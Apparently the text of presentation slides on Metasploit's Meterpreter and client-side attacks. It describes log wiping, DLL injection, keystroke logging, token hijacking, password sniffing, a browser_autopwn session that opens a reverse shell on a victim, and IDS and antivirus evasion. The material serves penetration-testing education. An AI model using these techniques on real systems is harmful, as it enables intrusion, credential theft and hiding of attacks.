Network Interaction: config Accessed as client.net.config.method Enumerate network interfaces and routes Useful for finding new targets and island-hopping Method Description each_interface Enumerates the server’s network interfaces get_interfaces Returns an array of the server’s network interfaces each_route Enumerates the server’s routing table get_routes Returns an array of the server’s routing table add_route(s, n, g) Adds a route remove_route(s, n, g) Removes a route
Network Interaction: sockets Meterpreters allows outbound TCP connections Access machines behind a firewall Launch exploits from the target Still somewhat buggy and slow Metasploit socket API can relay over Meterpreter Meterpreter implements the Comm interface Route specific subnets via msfconsole route cmd
System Interaction: config Accessed as client.sys.config.method Provides information about the system and user Useful privilege commands: getuid and revert_to_self Method Description getuid Returns the user identifier of the server process sysinfo Returns a hash with computer name and OS information revert_to_self Calls RevertToSelf to restore privileges if necessary
Manipulating the Event Log Accessed as client.sys.eventlog.open( name ) Provides the ability to read event log entries Can also be used to wipe the logs :-) meterpreter > irb >> e = client.sys.eventlog.open( “Application“) >> e.length => 8974 >> rec = e.read_forwards >> rec.strings => ["C:\\Virtual Machines\\Microsoft Vista\\Windows Vist... >> e.clear
System Interaction: power Accessed as client.sys.power.method Provides the reboot and shutdown methods Method Description reboot(reason) Reboots the server shutdown(force, reason) Shutdown the server
System Interaction: process Accessed as client.sys.process.method Enumerate and manipulate running processes Open a process and get a useable handle Method Description open(pid, perms) Opens the specified process pid execute(path, args, opts) Executes the specified executable kill(pid) Kills the specified process pid getpid Returns the server’s process identifier each_process Enumerates running processes processes Returns an array of running processes
Interacting with a Process meterpreter > irb >> p = client.sys.process.open( 1680, PROCESS_ALL_ACCESS ) [ call methods on p ] >> r = client.sys.process.execute(“cmd.exe /c net user add...”)
Process Interaction: images Accessed as pobj.images.method Manipulate the loaded DLLs in a given process Inject a DLL into any target process Method Description load(path) Injects a DLL into the process get_procedure_address(base, name) Lookup function addresses unload(base) Unloads a DLL each_image Enumerates the loaded images get_images Returns an array of image info
Process Interaction: memory Accessed as pobj.memory.method Allocate, free, lock, enumerate memory allocations Read and write from a process's memory Method Description allocate(len, prot, base) Allocates memory of the specified size free(base, len) Deallocates memory at base read(base, len) Reads memory at the specified base address write(base, data) Writes memory to the specified base address query(base) Queries information about a base address protect(base, len, prot) Changes page protections on a region lock(base, length) Lock pages in memory to prevent swapping
Process Interaction: threads Accessed as pobj.thread.method Enumerate all active process threads Create a new thread at a specific location each_thread Enumerates the running threads get_threads Returns an array of threads create(entry, param) Creates a new thread at the specified entry point
System Interaction: registry Accessed as client.sys.registry.method Enumerate and manipulate the registry Method Description open_key(rk, bk, perm) Opens a registry key create_key(rk, bk, perm) Creates a registry key delete_key(rk, bk, recursive) Deletes a registry key close_key(hk) Closes an open key enum_key(hk) Returns an array of sub-keys set_value(hk, name, type, val) Sets a registry value query_value(hk, name) Queries a registry value delete_value(hk, name) Deletes a registry value
User Interface Interaction Accessed as client.ui.method Monitor and manipulate the desktop user Method Description enable_keyboard Enables the keyboard disable_keyboard Disables the keyboard enable_mouse Enables the mouse disable_mouse Disables the mouse idle_time Shows user idle time in seconds
Keystroke Sniffing Accessed as client.ui.keyscan_* Capture keypresses from the active user Requires migrating to an interactive process Method Description keyscan_start Start the keystroke logger keyscan_stop Stop the keystroke logger keyscan_dump Dump the current keystroke buffer enumdesktops Enumerate all desktops setdesktop Change to another desktop
Meterpreter Extension: incognito Loaded with: “use incognito” Scans for authentication tokens Hijack tokens to gain privileges Go from System to Local Admin Go from Local Admin to Network Admin Go from Network Service to Admin
Brand New Extensions Sniffer Complete in-memory buffered packet sniffer Uses the MicroOLAP Packet Sniffer SDK ($$$) Works great, but still BETA quality Espia Capture remote audio, video, and screencasts Still under heavy development
Meterpreter Extension: sniffer Loaded with: “use sniffer” Automatically excludes control channel traffic Stores up to 200,000 packets in a ring buffer Exports the capture in standard PCAP format Use psnuffle, dsniff, wireshark to process Easy way to capture passwords and data Still in BETA (can BSOD on sniffer_stop)
Meterpreter Development Meterpreter is being ported to POSIX Linux, FreeBSD, other Unix ( works July 26th 4:00am! ) Merging this with Dino/Charlie's Mac OS X work Meterpreter reimplemented in PHP Similar functionality, still in development Break out of web apps into the system Meterpreter ported to the iPhone Charlie Miller is speaking on this at Black Hat
Attacking Client Applications External penetration testing is getting tougher Externally-exposed systems often patched Limited number of applications and services Managed by professional administrators Switch to attacking the users, not the servers Patch levels differ between workstations Large number of reachable applications Barely managed by non-IT users
Targeting Client Applications Research and enumeration is critical Create a list of target user accounts Determine what applications are in use Discover what filtering products are in place Tons of great tools for this Maltego: http://paterva.com/ BotsVsBrowsers: http://botsvsbrowsers.com/ Search engines (not just Google)
Metasploit Client-side Exploits Over 90 client-side modules available Dozens of web browser flaws Many different file formats Specific media players Create a list of specific modules to use Review the modules for any requirements Match exploit targets to target app versions
Exploiting Web Browsers Modules include their own web server Specify SRVHOST, SRVPORT as needed Specify URIPATH to set the URL Modules can share the same service Payloads can NOT share ports
Combining Browser Exploits Configure each browser exploit on a new URL Use a msfconsole resource file to automate Use global vars for common options Set unique LPORTs for reverse payloads Combine multiple exploits using IFRAMEs and JS Create a Mac OS X exploit page Create a “everything page” Place on own web server
browser_autopwn The built-in automated browser exploiter Just underwent a massive rewrite Fingerprints browsers with CSS and JS Combines ~10 different exploit modules Reverse shell payloads increment ports Still somewhat limited No granular payload control Hard to apply per-exploit options
Using browser_autopwn msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > set LHOST 192.168.0.139 msf auxiliary(browser_autopwn) > set SRVPORT 8888 msf auxiliary(browser_autopwn) > set URIPATH /autopwn msf auxiliary(browser_autopwn) > run [ loading output from every exploit module ] [ target browses to http://192.168.0.139:8888/autopwn ] [*] Request '/autopwn' from 192.168.0.118:1064 [*] Recording detection from User-Agent [*] Browser claims to be MSIE 7.0, running on Windows XP [*] Responding with exploits [*] Command shell session 1 opened (192.168.0.118:4444)
Exploiting File Formats Modules generate a file containing the payload Specify the OUTPUTPATH and FILENAME Relies on the user to deliver the exploit file More flexibility than browser-only modules
Security Product Deployment Corporations often have 2+ of the following Anti-virus (desktop and/or gateway) Network firewall and/or NAT gateway Desktop packet filters and/or app firewalls Web proxy and/or web filtering IDS, IPS, and/or HIPS These are annoying and easy to bypass...
Evasion as a Design Goal Advanced and Evasion options in every module Implemented via protocol libraries and mixins Setting shared among similar modules Payload and padding is randomized Encoders are somewhat randomized Nop padding is extensively randomized Exploit modules use random string generation Rex::Text provides all of these methods
Evasions: Exploit::Remote::TCP Maximum send size (TCP::max_send_size) Writes all TCP data N bytes at a time Disables Nagle algorithm Effective! Minimum send delay (TCP::send_delay) Forces a delay between each segment Slow streams time out from IDS/IPS Combine with send size